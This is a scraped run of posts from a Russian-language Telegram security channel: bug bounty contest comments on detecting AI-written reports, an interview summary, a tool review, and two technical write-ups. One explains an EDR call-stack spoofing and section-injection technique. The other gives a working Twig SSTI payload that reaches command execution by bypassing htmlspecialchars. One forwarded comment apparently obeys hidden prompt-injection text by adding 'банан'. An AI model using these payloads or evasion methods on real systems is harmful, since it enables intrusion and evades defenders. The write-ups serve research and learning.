Forwarded from Mikha1l
Вообще можно использовать несколько подходов, как по мне:
1. Пусть хантеры сами получат возможность тэгать свои отчеты как нейрослоп. Они будут попадать в более отдельные, более долгие очереди, но все-равно будут проверяться. За отсутствие маркировки - минус реп. Звучит парадоксально, но если ты аи-культист и тебе по кайфу дропать нейрослоп, который ты не промаркировал 2-3 раза - твои отчеты падают вниз по приоритету, маркировку на них все равно автоматом доставят, ты по сути уже заложник системы, ты либо выбираешь ручной ввод, либо страдаешь в общем котле для аи-культистов.
2. Тут уже гуляла эта идея, но везде применялась LLM, мне кажется она для этой задачи имеет слишком высокий уровень сложности. Думаю, можно натренить совершенно небольшую ml-модельку, выделить несколько явных признаков ИИ-отчетов, и запустить ее в тестовом режиме. Особенно хорошо это стакнется с первым направлением. Таким образом можно избавить триажеров от задачи определять нейрослоп, система может научиться автоматически проставлять такую марку, заставив снова вернуться к ручному вводу и проверке написанного.
3. Из самых смешных вариантов мне показалось - привести отчеты к уровню нормативных документов, в ворде и с титульником) Ни одна нейронка сейчас, насколько мне известно, не делает нормоконтроль хорошо, отступы, шрифты, даже если закинуть ей шаблон получишь корявый огрызок. Это сразу позволяет выкинуть отчет из очереди валидных багов в очередь нейрослопа
4. Система оценивания. Если нейрослоп это реально проблема - докажите это деньгами, ведь деньги - это главная и отчасти единственная мотивация хантеров. Если отчет написан нейронкой - просто снизьте валидность бага на 1 значение, например, был крит, стал хай, просто за использование ИИ. Да, это жесткое ограничение, но оно сработает, ведь прежде всего люди хотят хоть что-то зарабатывать, а зная, что использовать ИИ - это с 100% шансом уменьшать себе сумму выплаты - это хороший буст к тому, чтобы подкорректировать свою тесную связь с ии.
5. Введение метрики "Качество отчета". Тут без особо больших критериев, просто в конце отчета сделать для триажера цифру от 1 до 10, которая ему покажется максимально близкой к правде
1 - нейрослоп пукнул
10 - ооо мужик ты реально крут!
И показывать эту метрику хантерам, более того, привязать ее к сумме выплаты. Баг валидный, но отчет сделан плохо? Минус бабки. Баг не валидный, отчет сделан плохо? Забудь как выглядят купюры. Пусть эта метрика привязывается к аккаунту каждого хантера и преследует его как бельмо на глазу. Таким образом можно будет быстро понимать, что у человека с средним баллом качества 4 - многие отчеты написаны лайк нейрослопчег.
6. Тотал видеопруф:
"Всем привет, я крипер2007, и сегодня я покажу вам как реализовать уязвимость NNN-NNNN-NNNN на сайте компании N ровно за 32 секунды"
Вроде все, спасибо.
1. Пусть хантеры сами получат возможность тэгать свои отчеты как нейрослоп. Они будут попадать в более отдельные, более долгие очереди, но все-равно будут проверяться. За отсутствие маркировки - минус реп. Звучит парадоксально, но если ты аи-культист и тебе по кайфу дропать нейрослоп, который ты не промаркировал 2-3 раза - твои отчеты падают вниз по приоритету, маркировку на них все равно автоматом доставят, ты по сути уже заложник системы, ты либо выбираешь ручной ввод, либо страдаешь в общем котле для аи-культистов.
2. Тут уже гуляла эта идея, но везде применялась LLM, мне кажется она для этой задачи имеет слишком высокий уровень сложности. Думаю, можно натренить совершенно небольшую ml-модельку, выделить несколько явных признаков ИИ-отчетов, и запустить ее в тестовом режиме. Особенно хорошо это стакнется с первым направлением. Таким образом можно избавить триажеров от задачи определять нейрослоп, система может научиться автоматически проставлять такую марку, заставив снова вернуться к ручному вводу и проверке написанного.
3. Из самых смешных вариантов мне показалось - привести отчеты к уровню нормативных документов, в ворде и с титульником) Ни одна нейронка сейчас, насколько мне известно, не делает нормоконтроль хорошо, отступы, шрифты, даже если закинуть ей шаблон получишь корявый огрызок. Это сразу позволяет выкинуть отчет из очереди валидных багов в очередь нейрослопа
4. Система оценивания. Если нейрослоп это реально проблема - докажите это деньгами, ведь деньги - это главная и отчасти единственная мотивация хантеров. Если отчет написан нейронкой - просто снизьте валидность бага на 1 значение, например, был крит, стал хай, просто за использование ИИ. Да, это жесткое ограничение, но оно сработает, ведь прежде всего люди хотят хоть что-то зарабатывать, а зная, что использовать ИИ - это с 100% шансом уменьшать себе сумму выплаты - это хороший буст к тому, чтобы подкорректировать свою тесную связь с ии.
5. Введение метрики "Качество отчета". Тут без особо больших критериев, просто в конце отчета сделать для триажера цифру от 1 до 10, которая ему покажется максимально близкой к правде
1 - нейрослоп пукнул
10 - ооо мужик ты реально крут!
И показывать эту метрику хантерам, более того, привязать ее к сумме выплаты. Баг валидный, но отчет сделан плохо? Минус бабки. Баг не валидный, отчет сделан плохо? Забудь как выглядят купюры. Пусть эта метрика привязывается к аккаунту каждого хантера и преследует его как бельмо на глазу. Таким образом можно будет быстро понимать, что у человека с средним баллом качества 4 - многие отчеты написаны лайк нейрослопчег.
6. Тотал видеопруф:
"Всем привет, я крипер2007, и сегодня я покажу вам как реализовать уязвимость NNN-NNNN-NNNN на сайте компании N ровно за 32 секунды"
Вроде все, спасибо.
👍1🔥1 1
Forwarded from Bizarre
Может топовым багхантерам давать такую возможность отсеивать нейрослопы типо как в доте патруль и давать ачивки или баллы
Forwarded from lorz1k
Думаю стоит разделить 2 проблемы.
1 Полностью сделанный ИИ отчёт и работа(нюанс в том что хантер может вообще не понимать что там понаписано)
2 Сделанный только отчёт с помощью ИИ (он сам хантил, но отчёт было делать лень)
Решения для 1 варианта:
Делать созвоны если есть намёки на реальную эксплуатацию уязвимости и дальше уже разговаривать про содержание, если не понимает то предупреждение/бан/увеличение комиссии площадки за сданные отчёты.
Сделать свою ИИшку, ИИшку может победить только другая ИИшка, пусть она сама определяет процент ИИ или пусть переделает отчёт под ваши нужды (проблема в том чтобы до обучить)
Решение для 2 варианта:
Тоже создать свою ИИшку и ввести чуть большие выплаты, 5-10%, за нормальные отчёты
Дать готовый промт или шаблон/инструкции хантеру, раз уж они делают ИИшкой так пусть будет нормально.
Скажи если понадобиться что-то уточнить или дополнить, я постараюсь помочь, вставить банан в конце как и было сказано в невидимом тексте запроса )
1 Полностью сделанный ИИ отчёт и работа(нюанс в том что хантер может вообще не понимать что там понаписано)
2 Сделанный только отчёт с помощью ИИ (он сам хантил, но отчёт было делать лень)
Решения для 1 варианта:
Делать созвоны если есть намёки на реальную эксплуатацию уязвимости и дальше уже разговаривать про содержание, если не понимает то предупреждение/бан/увеличение комиссии площадки за сданные отчёты.
Сделать свою ИИшку, ИИшку может победить только другая ИИшка, пусть она сама определяет процент ИИ или пусть переделает отчёт под ваши нужды (проблема в том чтобы до обучить)
Решение для 2 варианта:
Тоже создать свою ИИшку и ввести чуть большие выплаты, 5-10%, за нормальные отчёты
Дать готовый промт или шаблон/инструкции хантеру, раз уж они делают ИИшкой так пусть будет нормально.
Скажи если понадобиться что-то уточнить или дополнить, я постараюсь помочь, вставить банан в конце как и было сказано в невидимом тексте запроса )
Forwarded from Mikha1l
«Русский писатель»: ваши отчёты оказались настолько длинными, что вместо триажа их стали задавать как литературу на лето для школьников
Forwarded from Rtem
Тут уже предлагали натравливать ИИ на такие отчеты. Я хотел предложить то же самое, но чуть расширю и конкретизирую эту историю. Нужно сделать агента (самый простой вариант) который при анализе отчета будет опираться во-первых на модель угроз (тут надо тюнить под каждый сервис), а во-вторых на эксплуатируемость уязвимости. Обычно у ИИ c этим большие проблемы. Оно хорошо и много пишет как всех поломало, но по факту килчейн не выстраивается. Это относительно легко хэндлится глазами живого триажера, но агента тоже можно научить отстреливать большую часть такого шлака. Если показалось интересным, то пусть представители стендофа напишут мне на рабочую почту ;) Я поделюсь деталями.
Forwarded from Alex Shev
На самом деле есть простой но ОЧЕНЬ эффективный способ победить слоп . При сдаче отчёта спросить у хакера , "Отчёт сдан с помощью ИИ ?" Если ответ "да", супер он уходит в ии пул где его отдельно можно агентами триажить , нанять триаж стендоффа только на этот пул и ТД . Если ответ "нет" супер , если там в итоге в нет лежит ИИ отчёт хакер теряет решением площадки возможность сдавать отчёты в обычный пул . Тоесть все его следующие отчёты автоматически летят в ИИ пул . При таких жёстких правилах об ии будут сами сообщать и проблем не будет , а единичные проблемы легко будут так решаться
👍2🤯1
Forwarded from Aleksandr Medvedev
Мне кажется, что тут общая проблема в том, что люди с ИИ бездумно и без верификации отправляют отчёты.
У меня была ситуация, когда за ночь ИИ нашла более 20 уязвимостей. Но на этапе проверки и подготовки скринов я понимаю, что там фигня какая-то. Спрашиваю ИИ проверить как триажер, примут ли их (тыкаю прям носом, что лажу какую-то он собрал) и он соглашается, что сгенерировал какую-то фигню и ситуации нереальные...
Я бы предложил ввести на первом этапе такую же проверку ИИ со стороны площадки. Дайте ИИ чекеру отчёт и скрины хантера, таргеты и условия программы. Если ИИ чекеру кажется, что отчёт лажа, то он не блочит его, но предупреждает хантера и предлагает ему либо добавить пруфы\поправить отчёт, либо рискнуть и отправить его дальше.
Но в таком случае, если подтверждается, что отчёт 💩, он получает минус репу и страйк. N страйков и таймаут на сдачу отчётов.
У меня была ситуация, когда за ночь ИИ нашла более 20 уязвимостей. Но на этапе проверки и подготовки скринов я понимаю, что там фигня какая-то. Спрашиваю ИИ проверить как триажер, примут ли их (тыкаю прям носом, что лажу какую-то он собрал) и он соглашается, что сгенерировал какую-то фигню и ситуации нереальные...
Я бы предложил ввести на первом этапе такую же проверку ИИ со стороны площадки. Дайте ИИ чекеру отчёт и скрины хантера, таргеты и условия программы. Если ИИ чекеру кажется, что отчёт лажа, то он не блочит его, но предупреждает хантера и предлагает ему либо добавить пруфы\поправить отчёт, либо рискнуть и отправить его дальше.
Но в таком случае, если подтверждается, что отчёт 💩, он получает минус репу и страйк. N страйков и таймаут на сдачу отчётов.
Forwarded from Илья
Идея: Т.к. нейросети уже никуда не уйдут, предлагаю 2 рабочих контур варианта:
1) Улучшить шаблон .md отчетов, когда создаешь репорт там есть форма, уверен, что почти все ее копируют и отдают нейронке, добавьте шаблон для ии по галочке, например.
предварительно промт инженерте сами под качественные оформления на эталонных отчетах, чтобы создать шаблон, так вы сможете контроллировать форму, по которой ребята будут собирать отчеты и быстрее отсекать мусор/норм отчеты. Половина воды уйдет
Сюда же можно сделать дисклеймер (проверяйте руками по гайду и т.п.), где общими словами описан процесс само проверки
2) Гайд по репортам при помощи ии, что должно, что не должно, как проверять
1) Улучшить шаблон .md отчетов, когда создаешь репорт там есть форма, уверен, что почти все ее копируют и отдают нейронке, добавьте шаблон для ии по галочке, например.
предварительно промт инженерте сами под качественные оформления на эталонных отчетах, чтобы создать шаблон, так вы сможете контроллировать форму, по которой ребята будут собирать отчеты и быстрее отсекать мусор/норм отчеты. Половина воды уйдет
Сюда же можно сделать дисклеймер (проверяйте руками по гайду и т.п.), где общими словами описан процесс само проверки
2) Гайд по репортам при помощи ии, что должно, что не должно, как проверять
Победителей выбрали в конкурсе на анти нейрослоп советов для Standoff 365 Bug Bounty . Просьба тех, кто увидел свой ник и коммент найти меня на Standoff Talks. Я на первом этаже, хожу в панамке чёрной и черной футболке BugHunter
Сколько-то/30 выдано
Сколько-то/30 выдано
😁9
Похек
Победителей выбрали в конкурсе на анти нейрослоп советов для Standoff 365 Bug Bounty . Просьба тех, кто увидел свой ник и коммент найти меня на Standoff Talks. Я на первом этаже, хожу в панамке чёрной и черной футболке BugHunter Сколько-то/30 выдано
Если кто-то не смог меня найти, то пишите в ЛС @szybnev с того акка, с которого писали коммент
YouTube
Как хакеры работают на государство? Большой подкаст про кибербезопасность
► Бронируйте жилье на Авито Путешествиях безопасно и со скидками до 50%* — https://bit.ly/4uHRKpA. Дополнительная скидка 10% по промокоду СОКОЛОВСКИЙ без ограничений.**
► Специальное предложение ко Дню предпринимателя с бесплатным обслуживанием расчётного…
► Специальное предложение ко Дню предпринимателя с бесплатным обслуживанием расчётного…
Главная угроза всё ещё человек, но масштаб изменился
В интервью Александра Соколовского с Александром Гостевым из Касперского хорошо видно, как сместился фокус киберпреступности. Раньше массовая атака часто выглядела как заражение домашних компьютеров ради небольших сумм. Сейчас атакующим выгоднее бить по банкам, компаниям, биржам, обменникам и сервисам, где уже лежат деньги, данные и доступы пользователей.
ИИ в этой картине мира не превращает каждого школьника в автора крутого FUD вредоноса. По словам Саши, пока сильнее растёт не сложность атак, а их количество и скорость: модели помогают искать уязвимости, генерировать варианты кода и увеличивать поток инцидентов. Защитникам приходится обрабатывать не сотни подозрительных объектов, а сотни тысяч, и проблема упирается не только в технологии, но и в дефицит людей, которые умеют разбирать инциденты.
Для обычного пользователя вывод не сводится к "поставьте антивирус Касперский")). Даже если человек ведёт себя аккуратно, его данные могут утечь из внешнего сервиса, а затем стать топливом для целевого фишинга и звонков. В крипте типовой риск тоже часто не в сломанной математике, а в левой бирже, поддельном кошельке, подменённом адресе транзакции или добровольном вводе seed-фразы на чужом сайте.
Самая прикладная часть интервью звучит почти старомодно: не доверять незнакомцам в телефоне и интернете, не передавать коды и пароли, не использовать один пароль в разных сервисах, быстро реагировать после ошибки. Новые инструменты ускоряют атаки, но первая линия защиты всё ещё начинается с дисциплины доступа и трезвой оценки того, кому вы можете быть интересны как цель или как путь к другой цели.
Мне очень понравилась фраза Александра Гостева, что кибербез переживает ренесанс и как будто заново возрождается как было 20 лет назад.
🌚 @poxek | 🌚 @poxek_ai | 📲 MAX
В интервью Александра Соколовского с Александром Гостевым из Касперского хорошо видно, как сместился фокус киберпреступности. Раньше массовая атака часто выглядела как заражение домашних компьютеров ради небольших сумм. Сейчас атакующим выгоднее бить по банкам, компаниям, биржам, обменникам и сервисам, где уже лежат деньги, данные и доступы пользователей.
ИИ в этой картине мира не превращает каждого школьника в автора крутого FUD вредоноса. По словам Саши, пока сильнее растёт не сложность атак, а их количество и скорость: модели помогают искать уязвимости, генерировать варианты кода и увеличивать поток инцидентов. Защитникам приходится обрабатывать не сотни подозрительных объектов, а сотни тысяч, и проблема упирается не только в технологии, но и в дефицит людей, которые умеют разбирать инциденты.
Для обычного пользователя вывод не сводится к "поставьте антивирус Касперский")). Даже если человек ведёт себя аккуратно, его данные могут утечь из внешнего сервиса, а затем стать топливом для целевого фишинга и звонков. В крипте типовой риск тоже часто не в сломанной математике, а в левой бирже, поддельном кошельке, подменённом адресе транзакции или добровольном вводе seed-фразы на чужом сайте.
Самая прикладная часть интервью звучит почти старомодно: не доверять незнакомцам в телефоне и интернете, не передавать коды и пароли, не использовать один пароль в разных сервисах, быстро реагировать после ошибки. Новые инструменты ускоряют атаки, но первая линия защиты всё ещё начинается с дисциплины доступа и трезвой оценки того, кому вы можете быть интересны как цель или как путь к другой цели.
Мне очень понравилась фраза Александра Гостева, что кибербез переживает ренесанс и как будто заново возрождается как было 20 лет назад.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9❤🔥3👍1
LACUNA Chain: как и когда EDR можно обойти
После HookChain недостаточно спрятать syscall от userland hook. EDR может получить событие из ядра и приложить к нему user-mode call stack: кто вызвал
LACUNA Chain переносит атаку на уровень unwind-механики Windows x64: не скрывает сам факт операции, а подменяет историю вызова, которую увидит stack collector.
♾️ Как работает♾️
На x64 Windows стек обычно восстанавливается через
Автор использует это как BYOUD-Gap: берёт адреса внутри легитимных DLL, но между покрытыми
В статье собирается цепочка:
Отдельный слой — ETW-Ti APC window. Событие появляется в ядре, но stackwalk может исполняться через USER_APC, который доставляется только при alertable wait. Значит, чувствительная операция уже прошла, стек можно подготовить, затем войти в alertable
♾️ Анализ исходников♾️
В репозитории это реализовано не как статичный набор оффсетов. В
В
Самый плотный участок —
Отдельный
♾️ Ограничения♾️
PoC зависит от конкретных DLL, их
Заявления о полном обходе Elastic, Bitdefender и Kaspersky идут из лабораторных тестов автора. Я проверял код и соответствие кода статье, но не воспроизводил эти EDR тесты локально.
🔗 Источники:
Статья 0xmaz, 20 июня 2026
🐱 MazX0p/LACUNA-Chain
🌚 @poxek | 🌚 @poxek_ai | 📲 MAX
После HookChain недостаточно спрятать syscall от userland hook. EDR может получить событие из ядра и приложить к нему user-mode call stack: кто вызвал
NtAllocateVirtualMemory, NtProtectVirtualMemory, NtQueueApcThread и похожие операции. Если в стеке виден shellcode, unsigned module или executable heap, обход ntdll-хуков уже не закрывает детект.LACUNA Chain переносит атаку на уровень unwind-механики Windows x64: не скрывает сам факт операции, а подменяет историю вызова, которую увидит stack collector.
На x64 Windows стек обычно восстанавливается через
.pdata. Для функций там лежат RUNTIME_FUNCTION и unwind metadata. Но если RtlLookupFunctionEntry(ControlPc) не находит запись, RtlVirtualUnwind трактует адрес как leaf-функцию: читает следующий RIP из [RSP] и двигает RSP на 8 байт.Автор использует это как BYOUD-Gap: берёт адреса внутри легитимных DLL, но между покрытыми
.pdata функциями. Для unwind-кода это валидный leaf-frame. Для простого EDR-правила это кадр из ntdll, kernelbase, wow64 или win32u, а не из payload.В статье собирается цепочка:
KiUserExceptionDispatcher -> ghost frame рядом с WoW64 exception path -> ghost рядом с VirtualProtect -> ghost рядом с thread-creation API -> NOP-gap в win32u -> RtlUserThreadStart.Отдельный слой — ETW-Ti APC window. Событие появляется в ядре, но stackwalk может исполняться через USER_APC, который доставляется только при alertable wait. Значит, чувствительная операция уже прошла, стек можно подготовить, затем войти в alertable
NtDelayExecution, и сборщик увидит ghost-chain.В репозитории это реализовано не как статичный набор оффсетов. В
lacuna_chain.c сканер PE читает .pdata, ищет промежутки между EndAddress текущего RUNTIME_FUNCTION и BeginAddress следующего, отбрасывает padding из 00/CC/90 и выбирает ghost regions рядом с экспортами VirtualProtect, RtlCreateUserThread, Wow64PrepareForException. Для win32u отдельно ищется 8-байтовый NOP gap.build_chain() выбирает L1-L5, ищет ghost gadget JMP [RBX] внутри ghost-region и строит LacunaStack. Для BYOUD-MF код ищет unwind opcode UWOP_PUSH_MACHFRAME в ntdll, кладёт fake machine frame и задаёт Rsp так, чтобы unwind перескочил на буфер L2 -> L3 -> L4 -> L5. Режим verify прогоняет цепочку через RtlLookupFunctionEntry и RtlVirtualUnwind, то есть проверяет тот же класс механики, на который опирается сборщик стеков.В
inject добавлен прикладной обход корреляций: вместо VirtualAllocEx -> WriteProcessMemory -> VirtualProtect используется section-based injection. Код создаёт section, мапит локальный RW view, пишет payload, затем мапит remote RX view через NtMapViewOfSection и ставит APC. NtWriteVirtualMemory в целевой процесс не вызывается.Самый плотный участок —
param_encrypt_veh. Перед syscall ставится hardware breakpoint на syscall;ret. На EXCEPTION_SINGLE_STEP VEH расшифровывает RCX/RDX/R8/R9/R10, подменяет return address на ret gadget внутри ntdll, а в режиме full_spoof заменяет stack slots, указывающие внутрь lacuna.exe, на ghost-frame адреса. После возврата через DR1 старые значения восстанавливаются. Подмена живёт только в окне наблюдения.Отдельный
lacuna_sleep.c применяет тот же подход к sleep-obfuscation: ghost-call stub меняет [RSP] на ghost address, tail-jump’ит в API, VEH на hardware breakpoint возвращает управление на сохранённый настоящий return. Цикл делает NtProtectVirtualMemory(RW), XOR payload, NtDelayExecution(alertable=TRUE) с ghost-chain на стеке, расшифровку и возврат в RX.PoC зависит от конкретных DLL, их
.pdata, наличия ghost regions, win32u gaps и подходящих unwind-паттернов. В коде это частично закрыто runtime-сканированием и fallback-логикой, но не превращает технику в универсальный bypass для любой версии Windows и любого EDR.Заявления о полном обходе Elastic, Bitdefender и Kaspersky идут из лабораторных тестов автора. Я проверял код и соответствие кода статье, но не воспроизводил эти EDR тесты локально.
Статья 0xmaz, 20 июня 2026
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥4👾1
Сегодня стартовали открытые кибериспытания Т-Банка: их несколько дней назад анонсировал руководитель управления кибербезопасности Игорь Кубышко
В рамках 17-го Standoff он подробно рассказал о программе кибериспытаний.
Главные условия:
▪️ пентестеры должны найти и реализовать недопустимый сценарий, а не отдельный баг;
▪️ в случае успеха финтех выплатит участнику до 12 миллионов рублей;
▪️ кибериспытания проходят в открытом формате: принять участие может любой пентестер — регистрация уже идет.
В рамках 17-го Standoff он подробно рассказал о программе кибериспытаний.
Главные условия:
Please open Telegram to view this post
VIEW IN TELEGRAM
👾5❤🔥3
Похек
DeepSecrets (последнее от моего знакомого Николая из Yandex, у его инструмента не стандартный подход к поиску секретов)
Продолжение развития данного инструмента))
DeepSecrets 2.0: поиск секретов с контекстом кода
DeepSecrets 2.0 — OSS-сканер секретов, который пытается закрыть типичную дыру regex-only подхода: инструмент ищет не просто похожие на ключи строки, а кандидаты в контексте кода. В README заявлены лексинг и парсинг для 500+ языков и форматов, semantic checks по переменным, context-aware entropy и отдельный HashedSecret Engine: можно передать хэши известных продакшен-секретов, а сканер будет искать их открытые значения в коде без хранения исходных секретов в правилах.
По опубликованному разбору и README, на SecretBench v2.0 показал 93% recall, 69% precision и 8% false positive rate в scope бенчмарка. Это стоит читать аккуратно: SecretBench сам по себе большой, но любой бенчмарк секретов отражает конкретный корпус, правила разметки и типы утечек. Зато направление полезное: меньше слепого entropy по всему файлу, больше проверки того, что строка действительно похожа на значение опасной переменной или конфигурации.
На фоне других OSS-инструментов позиционирование понятное. Gitleaks — зрелый и быстрый дефолт для git history, directory/stdin, pre-commit и SARIF/JSON-отчетов, но его модель в основном regex/entropy. TruffleHog шире по источникам: GitHub/GitLab, Docker, S3, CI, Postman, Jenkins, Hugging Face; его сильная сторона — классификация сотен типов секретов и проверка, живой ли ключ. Yelp detect-secrets удобен там, где нужен enterprise baseline: зафиксировать старый долг, блокировать только новые находки и вручную аудитить baseline.
DeepSecrets выглядит как хороший кандидат для второго слоя в CI/CD: после дешевого pre-commit фильтра прогнать семантический скан по репозиторию и выгрузить SARIF в GitHub Security или DefectDojo. Но я бы не заменял им TruffleHog для live-validation и внешних источников: утечка в Docker image, старом форке или S3-бакете не становится менее реальной от того, что ее нет в текущем дереве кода.
🔗 Источники:
🐱 DeepSecrets
- HackerNoon article
🌚 @poxek | 🌚 @poxek_ai | 📲 MAX
DeepSecrets 2.0: поиск секретов с контекстом кода
DeepSecrets 2.0 — OSS-сканер секретов, который пытается закрыть типичную дыру regex-only подхода: инструмент ищет не просто похожие на ключи строки, а кандидаты в контексте кода. В README заявлены лексинг и парсинг для 500+ языков и форматов, semantic checks по переменным, context-aware entropy и отдельный HashedSecret Engine: можно передать хэши известных продакшен-секретов, а сканер будет искать их открытые значения в коде без хранения исходных секретов в правилах.
По опубликованному разбору и README, на SecretBench v2.0 показал 93% recall, 69% precision и 8% false positive rate в scope бенчмарка. Это стоит читать аккуратно: SecretBench сам по себе большой, но любой бенчмарк секретов отражает конкретный корпус, правила разметки и типы утечек. Зато направление полезное: меньше слепого entropy по всему файлу, больше проверки того, что строка действительно похожа на значение опасной переменной или конфигурации.
На фоне других OSS-инструментов позиционирование понятное. Gitleaks — зрелый и быстрый дефолт для git history, directory/stdin, pre-commit и SARIF/JSON-отчетов, но его модель в основном regex/entropy. TruffleHog шире по источникам: GitHub/GitLab, Docker, S3, CI, Postman, Jenkins, Hugging Face; его сильная сторона — классификация сотен типов секретов и проверка, живой ли ключ. Yelp detect-secrets удобен там, где нужен enterprise baseline: зафиксировать старый долг, блокировать только новые находки и вручную аудитить baseline.
DeepSecrets выглядит как хороший кандидат для второго слоя в CI/CD: после дешевого pre-commit фильтра прогнать семантический скан по репозиторию и выгрузить SARIF в GitHub Security или DefectDojo. Но я бы не заменял им TruffleHog для live-validation и внешних источников: утечка в Docker image, старом форке или S3-бакете не становится менее реальной от того, что ее нет в текущем дереве кода.
- HackerNoon article
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤🔥6👾2
Forwarded from Заметки склерозного вебера (ArroizX)
SSTI ❤️ htmlspecialchars()
Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений:
Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка
Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:
Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки
В моём случае приложение было на
Если же у вас только одно контролируемое значение(например
Попался тут интересный проект, в котором нашлась Twig SSTI'ка, до которой, чтобы добраться, нужно обойти несколько ограничений:
Удалось её обнаружить после того, как я решил поиграться с шаблонами для почты. Обычная нагрузка
{{7*7}} давала по итогу 7*7. Подумав, что это может быть какой-то кривой патч, я вставил нагрузку {{{{7*7}}}} и получил в итоге 49 (никогда не думал, что встречу такой тупизм :D) ! Казалось бы, что это победа, однако если нагрузка сложнее математической операции, например, {{{{['id']|filter('system')}}}}, то ничего не отрабатывало. Поэтому я решил залезть в код и поискать эту чудо-функцию =)Ниже представлен ооочень отдалённый пример кода, чтобы был понятен контекст:
<?php
require_once 'vendor/autoload.php';
error_reporting(E_ERROR | E_PARSE);
class User {
public $username;
public $secondname;
public function __construct($username, $secondname) {
$this->username = $username;
$this->secondname = $secondname;
}
}
$allowed = ['user.username'];
function prepareVars(string $template, array $allowedKeys): string {
return preg_replace_callback(
'/\{\{(.*?)\}\}/i', //Регулярка для извлечения значения между {{...}}
function ($matches) use ($allowedKeys) {
$value = trim($matches[1] ?? ''); //Берётся наше значение
if (in_array($value, $allowedKeys)) { //Оно скорее всего не подпадает под $allowedKeys
return "{{ {$value} | raw }}";
}
return htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); //В итоге оно попадает сюда с ENT_QUOTES
},
$template
);
}
$username = $_GET['username'] ?? 'John';
$secondname = $_GET['secondname'] ?? 'Doe';
$user = new User($username, $secondname);
$templateInput = $_GET['template'] ?? 'Guest';
$fullTemplate = 'Hello ' . $templateInput;
$processedTemplate = prepareVars($fullTemplate, $allowed);
$loader = new \Twig\Loader\ArrayLoader([
'index' => $processedTemplate,
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', ['user' => $user]);
Отсюда мы видим причину, почему приходилось использовать 2 пары фигурных скобок, а также новую проблему - htmlspecialchars с ENT_QUOTES. Некоторое время я думал, что с этим делать, так как большинство нагрузок для RCE требуют какие-либо кавычки, а потом до меня дошло:
Мне для той же нагрузки
{{['id']|filter('system')}} нужно передать именно соответствующие строки, необязательно их передавать в формате с кавычками, можно передать какую-либо доступную переменную, содержащую нужное значение. Например, мы тут видим, что можем использовать поля объекта класса User: через username передать id, а через secondname передать system. По итогу будет что-то типа такого - /?template={{{{[user.username]|filter(user.secondname)}}}}&username=ls&secondname=system.В моём случае приложение было на
PHP Symfony, а данные о пользователе передавались не от меня. Ознакомившись с документацией, можно узнать, что нам достаточно проставить необходимые значения в поля пользователя(просто зайти в раздел профиля УЗ и установить нужные значения), а дальше использовать их через {{app.user.*}} уже в Twig в уязвимом разделе.Если же у вас только одно контролируемое значение(например
subject), а нужно передать 2 строки в SSTI, то просто в subject пихаем 2 строки вместе: idsystem. А дальше извлекаем их посимвольно:{{{{[subject|slice(0,2)]|filter(subject|slice(-6))}}}}🔥9
Похек
Победителей выбрали в конкурсе на анти нейрослоп советов для Standoff 365 Bug Bounty . Просьба тех, кто увидел свой ник и коммент найти меня на Standoff Talks. Я на первом этаже, хожу в панамке чёрной и черной футболке BugHunter
Фотоотчёт подарков со Standoff Talks
Наушники RedmiBuds Bugs 6 с нанесением Standoff Talks
Набор дрип кофэ (Standoff one love за такое❤️ ) в прикольном тканевом мешочке
Стикеры, куда же без них
Небольшой шнурок с ремувкой и карабином игрушечным
Металлическая кружка мерчевая, чисто для походов как будто
Мультитул острый по размеру дебетовой карты
Спортивная бутылка в зальчик ходить
Металлические головоломки в количестве трех штук, самое то на созвонах руки занять, пока внимательно слушаешь коллег (кстати 1 умом уже решил и 2 методом грубой силы))
Журнал от Standoff 365. Довольно прикольно понастольгировать с фоток за прошлые года + есть некоторые прикольные скрины из консолек и бурпа
Журнал Хакера, тут как всегда всё шикарно)
Шевроны прикольные
Подушка прикольная, песочного цвета
Выше это я описал мерч паки: коммьюнити партнёра + спикер пак. Поэтому есть для вас мотивация выступить в следующий раз или же прийти как СМИ и осветить мероприятие))
А для тех кто учавствовал в конкурсе дарили крутые панамки, которые вы также можете увидеть на фото)
p.s. на фото не всё влезло!
p.s. фото сгенерировано ChatGPT, могут быть небольшие не совпадения с реальностью. Но общий вайб подарков передан отлично)
🌚 @poxek | 🌚 @poxek_ai | 📲 MAX
Наушники Redmi
Набор дрип кофэ (Standoff one love за такое
Стикеры, куда же без них
Небольшой шнурок с ремувкой и карабином игрушечным
Металлическая кружка мерчевая, чисто для походов как будто
Мультитул острый по размеру дебетовой карты
Спортивная бутылка в зальчик ходить
Металлические головоломки в количестве трех штук, самое то на созвонах руки занять, пока внимательно слушаешь коллег (кстати 1 умом уже решил и 2 методом грубой силы))
Журнал от Standoff 365. Довольно прикольно понастольгировать с фоток за прошлые года + есть некоторые прикольные скрины из консолек и бурпа
Журнал Хакера, тут как всегда всё шикарно)
Шевроны прикольные
Подушка прикольная, песочного цвета
Выше это я описал мерч паки: коммьюнити партнёра + спикер пак. Поэтому есть для вас мотивация выступить в следующий раз или же прийти как СМИ и осветить мероприятие))
А для тех кто учавствовал в конкурсе дарили крутые панамки, которые вы также можете увидеть на фото)
p.s. на фото не всё влезло!
p.s. фото сгенерировано ChatGPT, могут быть небольшие не совпадения с реальностью. Но общий вайб подарков передан отлично)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤🔥2